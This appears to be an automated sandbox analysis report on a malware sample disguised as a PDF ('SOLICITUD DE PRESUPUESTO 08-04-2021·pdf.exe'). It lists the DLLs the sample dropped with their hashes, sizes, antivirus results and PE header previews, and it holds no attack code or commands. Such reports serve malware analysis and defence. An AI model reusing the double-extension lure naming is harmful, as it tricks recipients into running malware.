MD5:	F92586E9CC1F12223B7EEB1A8CD4323C
SHA1:	F5EB4AB2508F27613F4D85D798FA793BB0BD04B0
SHA-256:	A1A2BB03A7CFCEA8944845A8FC12974482F44B44FD20BE73298FFD630F65D8D0
SHA-512:	5C047AB885A8ACCB604E58C1806C82474DC43E1F997B267F90C68A078CB63EE78A93D1496E6DD4F5A72FDF246F40EF19CE5CA0D0296BBCFCFA964E4921E68A2F
Malicious:	false
Antivirus:	Antivirus: Virustotal, Detection: 0%, Browse Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: vgUgvbLjyI.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetect.malware2.22480.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetect.malware1.16239.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetect.malware1.23167.exe, Detection: malicious, Browse Filename: 40JHtWiswn.exe, Detection: malicious, Browse Filename: hGnoFRUIBe.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetect.malware1.7401.exe, Detection: malicious, Browse Filename: SWKp7KyFtP.exe, Detection: malicious, Browse Filename: C6vcYLfTa9.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetect.malware1.21202.exe, Detection: malicious, Browse Filename: EBjyq0UYDN.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetect.malware1.10758.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetect.malware1.25113.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.AIDetect.malware1.1450.exe, Detection: malicious, Browse Filename: OektZ8OQ0h.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.GenericKD.46018620.1609.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen13.1734.14778.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.GenericKD.36625148.3633.exe, Detection: malicious, Browse Filename: L87N50MbDG.exe, Detection: malicious, Browse Filename: o1wxaQ9Fwh.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........y.Z.............x.......x.......x......=z......=z......=z.......x.......x..........z.../{....../{....../{....../{b...../{......Rich............PE..L...C@.\.........."!.................b.......0......................................~p....@.................................p...........h...........................0...T................... ...........@............0..$............................text...7........................... ..`.orpc........ ...................... ..`.rdata...y...0...z..................@..@.data...............................@....rsrc...h...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\AccessibleMarshal.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26064
Entropy (8bit):	5.981632010321345
Encrypted:	false
SSDEEP:	384:KuAjyb0Xc6JzVuLoW2XDOc3TXg1hjsvDG8A3OPLon07zS:BEygs6RV6oW2Xd38njiDG8Mj
MD5:	A7FABF3DCE008915CEE4FFC338FA1CE6
SHA1:	F411FB41181C79FBA0516D5674D07444E98E7C92
SHA-256:	D368EB240106F87188C4F2AE30DB793A2D250D9344F0E0267D4F6A58E68152AD
SHA-512:	3D2935D02D1A2756AAD7060C47DC7CABBA820CC9977957605CE9BBB44222289CBC451AD331F408317CF01A1A4D3CF8D9CFC666C4E6B4DB9DDD404C7629CEAA70
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S......U...U...U...U...U..T...U..T...U..T...U..T...U5.T...U...U!..U..T...U..T...U...U...U..T...URich...U........PE..L...<@.\.........."!.........8......0........0.......................................7....@..........................=......0>..x....`...............H..........<...09..T............................9..@............0...............................text...f........................... ..`.orpc........ ...................... ..`.rdata.......0......................@..@.data...@....P.......(..............@....rsrc........`.......*..............@..@.reloc..<............D..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\IA2Marshal.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	70608
Entropy (8bit):	5.389701090881864
Encrypted:	false
SSDEEP:	768:3n8PHF564hn4wva3AVqH5PmE0SjA6QM0avrDG8MR43:38th4wvaQVE5PRl0xs
MD5:	5243F66EF4595D9D8902069EED8777E2
SHA1:	1FB7F82CD5F1376C5378CD88F853727AB1CC439E
SHA-256:	621F38BD19F62C9CE6826D492ECDF710C00BBDCF1FB4E4815883F29F1431DFDA
SHA-512:	A6AB96D73E326C7EEF75560907571AE9CAA70BA9614EB56284B863503AF53C78B991B809C0C8BAE3BCE99142018F59D42DD4BCD41376D0A30D9932BCFCAEE57A
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 3%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~.....K...K...K.g.K...K4}.J...K4}.J...K4}.J...K4}.J...K...J...K...J...K...K...K&\|.J...K&\|.J...K&\|uK...K&\|.J...KRich...K........PE..L...J@.\.........."!.................$.......0...............................0............@.........................0z.......z...........v................... .......u..T...........................Hv..@............0...............................orpc...t........................... ..`.text........ ...................... ..`.rdata...Q...0...R..................@..@.data................j..............@....rsrc....v.......x...t..............@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19920
Entropy (8bit):	6.2121285323374185
Encrypted:	false
SSDEEP:	384:Y0GKgKt7QXmFJNauBT5+BjdvDG8A3OPLon6nt:aKgWc2FnnTOVDG8MSt
MD5:	7CD244C3FC13C90487127B8D82F0B264
SHA1:	09E1AD17F1BB3D20BD8C1F62A10569F19E838834
SHA-256:	BCFB0E397DF40ABA8C8C5DD23C13C414345DECDD3D4B2DF946226BE97DEFBF30
SHA-512:	C6319BB3D6CB4CABF96BD1EADB8C46A3901498AC0EB789D73867710B0D855AB28603A00647A9CF4D2F223D35ADB2CB71AB22C284EF18823BFF88D87CF31FD13D
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9...X...X...X... J..X...:...X...:...X...:...X...:...X...8...X...X...X...;...X...;...X...;&..X...;...X..Rich.X..........................PE..L....=.\.........."!................@........0............................................@.........................0:.......:..d....`..p............0.......p.......5..T...........................86..@............0...............................text...v........................... ..`.orpc...<.... ...................... ..`.rdata..r....0......................@..@.data........P.......&..............@....rsrc...p....`.......(..............@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\MapiProxy_InUse.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19920
Entropy (8bit):	6.2121285323374185
Encrypted:	false
SSDEEP:	384:Y0GKgKt7QXmFJNauBT5+BjdvDG8A3OPLon6nt:aKgWc2FnnTOVDG8MSt
MD5:	7CD244C3FC13C90487127B8D82F0B264
SHA1:	09E1AD17F1BB3D20BD8C1F62A10569F19E838834
SHA-256:	BCFB0E397DF40ABA8C8C5DD23C13C414345DECDD3D4B2DF946226BE97DEFBF30
SHA-512:	C6319BB3D6CB4CABF96BD1EADB8C46A3901498AC0EB789D73867710B0D855AB28603A00647A9CF4D2F223D35ADB2CB71AB22C284EF18823BFF88D87CF31FD13D
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........9...X...X...X... J..X...:...X...:...X...:...X...:...X...8...X...X...X...;...X...;...X...;&..X...;...X..Rich.X..........................PE..L....=.\.........."!................@........0............................................@.........................0:.......:..d....`..p............0.......p.......5..T...........................86..@............0...............................text...v........................... ..`.orpc...<.... ...................... ..`.rdata..r....0......................@..@.data........P.......&..............@....rsrc...p....`.......(..............@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l1-2-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.112057846012794
Encrypted:	false
SSDEEP:	192:IWIghWGJnWdsNtL/123Ouo+Uggs/nGfe4pBjSfcD63QXWh0txKdmVWQ4yW1rwqnh:IWPhWlsnhi00GftpBjnem9lD16PamFP
MD5:	E2F648AE40D234A3892E1455B4DBBE05
SHA1:	D9D750E828B629CFB7B402A3442947545D8D781B
SHA-256:	C8C499B012D0D63B7AFC8B4CA42D6D996B2FCF2E8B5F94CACFBEC9E6F33E8A03
SHA-512:	18D4E7A804813D9376427E12DAA444167129277E5FF30502A0FA29A96884BF902B43A5F0E6841EA1582981971843A4F7F928F8AECAC693904AB20CA40EE4E954
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...._.L...........!......................... ...............................0............@.............................L............ ..................8=..............T............................................................................text...<........................... ..`.rsrc........ ......................@..@....._.L........8...T...T........_.L........d................_.L....................RSDS........g"Y........api-ms-win-core-file-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg.......L....edata... ..`....rsrc$01....` .......rsrc$02........._.L....@...................(...8...l...............`.......................api-ms-win-core-file-l1-2-0.dll.CreateFile2.kernel32.CreateFile2.GetTempPathW.kernel32.GetTempPathW.GetVolumeNameForVolumeMountPointW.kernel32.GetVolumeNameForVolumeMou

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-file-l2-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.166618249693435
Encrypted:	false
SSDEEP:	192:BZwWIghWG4U9ydsNtL/123Ouo+Uggs/nGfe4pBjSbUGHvNWh0txKdmVWQ4CWVU9h:UWPhWFBsnhi00GftpBjKvxemPlP55QQ7
MD5:	E479444BDD4AE4577FD32314A68F5D28
SHA1:	77EDF9509A252E886D4DA388BF9C9294D95498EB
SHA-256:	C85DC081B1964B77D289AAC43CC64746E7B141D036F248A731601EB98F827719
SHA-512:	2AFAB302FE0F7476A4254714575D77B584CD2DC5330B9B25B852CD71267CDA365D280F9AA8D544D4687DC388A2614A51C0418864C41AD389E1E847D81C3AB744
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...4..\|...........!......................... ...............................0......t.....@.......................................... ..................8=..............T............................................................................text...}........................... ..`.rsrc........ ......................@..@....4..\|........8...T...T.......4..\|........d...............4..\|....................RSDS.=.Co.P..Gd./%P....api-ms-win-core-file-l2-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........4..\|........................D...p...............#...P...................;...g...................<...m...............%...Z.........................api-ms-win-core-file-l2-1-0.dll.CopyFile2.kernel32.CopyFile2.CopyFileExW.kernel32.CopyFileExW.Crea

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-handle-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1117101479630005
Encrypted:	false
SSDEEP:	384:AWPhWXDz6i00GftpBj5FrFaemx+lDbNh/6:hroidkeppp
MD5:	6DB54065B33861967B491DD1C8FD8595
SHA1:	ED0938BBC0E2A863859AAD64606B8FC4C69B810A
SHA-256:	945CC64EE04B1964C1F9FCDC3124DD83973D332F5CFB696CDF128CA5C4CBD0E5
SHA-512:	AA6F0BCB760D449A3A82AED67CA0F7FB747CBB82E627210F377AF74E0B43A45BA660E9E3FE1AD4CBD2B46B1127108EC4A96C5CF9DE1BDEC36E993D0657A615B6
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....G...........!......................... ...............................0......V.....@............................._............ ..................8=..............T............................................................................text..._........................... ..`.rsrc........ ......................@..@......G........:...T...T.........G........d.................G....................RSDSQ..{...IS].0.> ....api-ms-win-core-handle-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg......._....edata... ..`....rsrc$01....` .......rsrc$02......................G....Z...............(...<...P...................A...\|...............,.............api-ms-win-core-handle-l1-1-0.dll.CloseHandle.kernel32.CloseHandle.CompareObjectHandles.kernel32.CompareObjectHandles.DuplicateHandle.kernel32

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-heap-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.174986589968396
Encrypted:	false
SSDEEP:	192:GElqWIghWGZi5edXe123Ouo+Uggs/nGfe4pBjS/PHyRWh0txKdmVWQ4GWC2w4Dj3:GElqWPhWCXYi00GftpBjP9emYXlDbNs
MD5:	2EA3901D7B50BF6071EC8732371B821C
SHA1:	E7BE926F0F7D842271F7EDC7A4989544F4477DA7
SHA-256:	44F6DF4280C8ECC9C6E609B1A4BFEE041332D337D84679CFE0D6678CE8F2998A
SHA-512:	6BFFAC8E157A913C5660CD2FABD503C09B47D25F9C220DCE8615255C9524E4896EDF76FE2C2CC8BDEF58D9E736F5514A53C8E33D8325476C5F605C2421F15C7D
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....:............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......:.........8...T...T.........:.........d.................:.....................RSDS.K....OB;....X......api-ms-win-core-heap-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02..........:.........................X...............2...Q...q.......................C...h...........................(...E...f.......................0..._...z...............................................api-ms-win-core-heap-l1-1-0.dll.GetProcessHeap.k

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-interlocked-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17856
Entropy (8bit):	7.076803035880586
Encrypted:	false
SSDEEP:	192:DtiYsFWWIghWGQtu7B123Ouo+Uggs/nGfe4pBjSPiZadcbWh0txKdmVWQ4mWf2FN:5iYsFWWPhWUTi00GftpBjremUBNlgC
MD5:	D97A1CB141C6806F0101A5ED2673A63D
SHA1:	D31A84C1499A9128A8F0EFEA4230FCFA6C9579BE
SHA-256:	DECCD75FC3FC2BB31338B6FE26DEFFBD7914C6CD6A907E76FD4931B7D141718C
SHA-512:	0E3202041DEF9D2278416B7826C61621DCED6DEE8269507CE5783C193771F6B26D47FEB0700BBE937D8AFF9F7489890B5263D63203B5BA99E0B4099A5699C620
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....$.............!......................... ...............................0...........@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....$..........?...T...T........$..........d................$......................RSDS#.......,.S.6.~j....api-ms-win-core-interlocked-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.................$......................(...T...............L...............!...U...................1.......p...............@...s.................................api-ms-win-core-interlocked-l1-1-0.dll.InitializeSListHead.kernel32.InitializeSLis

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-libraryloader-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.131154779640255
Encrypted:	false
SSDEEP:	384:yHvuBL3BmWPhWZTi00GftpBjNKnemenyAlvN9W/L:yWBL3BXYoinKne1yd
MD5:	D0873E21721D04E20B6FFB038ACCF2F1
SHA1:	9E39E505D80D67B347B19A349A1532746C1F7F88
SHA-256:	BB25CCF8694D1FCFCE85A7159DCF6985FDB54728D29B021CB3D14242F65909CE
SHA-512:	4B7F2AD9EAD6489E1EA0704CF5F1B1579BAF1061B193D54CC6201FFDDA890A8C8FACB23091DFD851DD70D7922E0C7E95416F623C48EC25137DDD66E32DF9A637
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....ul...........!......................... ...............................0......9.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....ul........A...T...T........ul........d................ul....................RSDSU..e.j.(.wD.......api-ms-win-core-libraryloader-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............ul....................(...p...........R...}..................Y...................8..._.......................B...k...................F...u...............)...P...w...................................................api-ms-win-c

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-localization-l1-2-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20792
Entropy (8bit):	7.089032314841867
Encrypted:	false
SSDEEP:	384:KOMw3zdp3bwjGjue9/0jCRrndbVWPhWIDz6i00GftpBj6cemjlD16Pa+4r:KOMwBprwjGjue9/0jCRrndbCOoireqv
MD5:	EFF11130BFE0D9C90C0026BF2FB219AE
SHA1:	CF4C89A6E46090D3D8FEEB9EB697AEA8A26E4088
SHA-256:	03AD57C24FF2CF895B5F533F0ECBD10266FD8634C6B9053CC9CB33B814AD5D97
SHA-512:	8133FB9F6B92F498413DB3140A80D6624A705F80D9C7AE627DFD48ADEB8C5305A61351BF27BBF02B4D3961F9943E26C55C2A66976251BB61EF1537BC8C212ADD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...S.v............!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@....S.v.........@...T...T.......S.v.........d...............S.v.....................RSDS..pS...Z4Yr.E@......api-ms-win-core-localization-l1-2-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................S.v.....v.......;...;...(.......................<...f.......................5...]...................!...I...q...................N.............../...j.............../...^.................../...\...................8...`...........

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-memory-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.101895292899441
Encrypted:	false
SSDEEP:	384:+bZWPhWUsnhi00GftpBjwBemQlD16Par7:b4nhoi6BedH
MD5:	D500D9E24F33933956DF0E26F087FD91
SHA1:	6C537678AB6CFD6F3EA0DC0F5ABEFD1C4924F0C0
SHA-256:	BB33A9E906A5863043753C44F6F8165AFE4D5EDB7E55EFA4C7E6E1ED90778ECA
SHA-512:	C89023EB98BF29ADEEBFBCB570427B6DF301DE3D27FF7F4F0A098949F987F7C192E23695888A73F1A2019F1AF06F2135F919F6C606A07C8FA9F07C00C64A34B5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....%(...........!......................... ...............................0............@.............................l............ ..................8=..............T............................................................................text...l........................... ..`.rsrc........ ......................@..@......%(........:...T...T.........%(........d.................%(....................RSDS.~....%.T.....CO....api-ms-win-core-memory-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......l....edata... ..`....rsrc$01....` .......rsrc$02......................%(....................(...h...........)...P...w...................C...g...................%...P...........B...g...................4...[...\|...................=...................................api-ms-win-core-memory-l1-1-0.dl

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-namedpipe-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.16337963516533
Encrypted:	false
SSDEEP:	192:pgWIghWGZiBeS123Ouo+Uggs/nGfe4pBjS/fE/hWh0txKdmVWQ4GWoxYyqnaj/6B:iWPhWUEi00GftpBj1temnltcwWB
MD5:	6F6796D1278670CCE6E2D85199623E27
SHA1:	8AA2155C3D3D5AA23F56CD0BC507255FC953CCC3
SHA-256:	C4F60F911068AB6D7F578D449BA7B5B9969F08FC683FD0CE8E2705BBF061F507
SHA-512:	6E7B134CA930BB33D2822677F31ECA1CB6C1DFF55211296324D2EA9EBDC7C01338F07D22A10C5C5E1179F14B1B5A4E3B0BAFB1C8D39FCF1107C57F9EAF063A7B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L... ..............!......................... ...............................0.......-....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.... ...........=...T...T....... ...........d............... .......................RSDS...IK..XM.&......api-ms-win-core-namedpipe-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02................ .......................(...P...x...............:...w...............O...y...............&...W...............=...j.......................api-ms-win-core-namedpipe-l1-1-0.dll.ConnectNamedPipe.kernel32.ConnectNamedPipe.CreateNamedP

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processenvironment-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.073730829887072
Encrypted:	false
SSDEEP:	192:wXjWIghWGd4dsNtL/123Ouo+Uggs/nGfe4pBjSXcYddWh0txKdmVWQ4SW04engo5:MjWPhWHsnhi00GftpBjW7emOj5l1z6hP
MD5:	5F73A814936C8E7E4A2DFD68876143C8
SHA1:	D960016C4F553E461AFB5B06B039A15D2E76135E
SHA-256:	96898930FFB338DA45497BE019AE1ADCD63C5851141169D3023E53CE4C7A483E
SHA-512:	77987906A9D248448FA23DB2A634869B47AE3EC81EA383A74634A8C09244C674ECF9AADCDE298E5996CAFBB8522EDE78D08AAA270FD43C66BEDE24115CDBDFED
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...).r............!......................... ...............................0.......:....@.............................G............ ..................0=..............T............................................................................text...G........................... ..`.rsrc........ ......................@..@....).r.........F...T...T.......).r.........d...............).r.....................RSDS.6..~x.......'......api-ms-win-core-processenvironment-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg.......G....edata... ..`....rsrc$01....` .......rsrc$02........).r.....................(...\|.......B...............$...M...{...............P...................6...k.............../...(...e...............=...f...............8...q...............!...T............... ...........................

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processthreads-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19392
Entropy (8bit):	7.082421046253008
Encrypted:	false
SSDEEP:	384:afk1JzNcKSIJWPhW2snhi00GftpBjZqcLvemr4PlgC:RcKST+nhoi/BbeGv
MD5:	A2D7D7711F9C0E3E065B2929FF342666
SHA1:	A17B1F36E73B82EF9BFB831058F187535A550EB8
SHA-256:	9DAB884071B1F7D7A167F9BEC94BA2BEE875E3365603FA29B31DE286C6A97A1D
SHA-512:	D436B2192C4392A041E20506B2DFB593FE5797F1FDC2CDEB2D7958832C4C0A9E00D3AEA6AA1737D8A9773817FEADF47EE826A6B05FD75AB0BDAE984895C2C4EF
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!......................... ...............................0......l.....@.......................................... ...................9..............T............................................................................text............................... ..`.rsrc........ ......................@..@................B...T...T...................d.......................................RSDS..t........=j.......api-ms-win-core-processthreads-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02............................1...1...(...........K...x...............,...`...................C...q...............'...N...y..............."...I...{...............B...p...............,...c...............H...x...................9...S...p.......

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-processthreads-l1-1-1.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.1156948849491055
Encrypted:	false
SSDEEP:	384:xzADfIeRWPhWKEi00GftpBjj1emMVlvN0M:xzfeWeoi11ep
MD5:	D0289835D97D103BAD0DD7B9637538A1
SHA1:	8CEEBE1E9ABB0044808122557DE8AAB28AD14575
SHA-256:	91EEB842973495DEB98CEF0377240D2F9C3D370AC4CF513FD215857E9F265A6A
SHA-512:	97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\LocalLow\gC9tT2iQ3s\api-ms-win-core-profile-l1-1-0.dll Download File
Process:	C:\Users\user\Desktop\SOLICITUD DE PRESUPUESTO 08-04-2021#U00b7pdf.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17712
Entropy (8bit):	7.187691342157284
Encrypted:	false
SSDEEP:	192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
MD5:	FEE0926AA1BF00F2BEC9DA5DB7B2DE56
SHA1:	F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
SHA-256:	8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
SHA-512:	0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
Malicious:	false
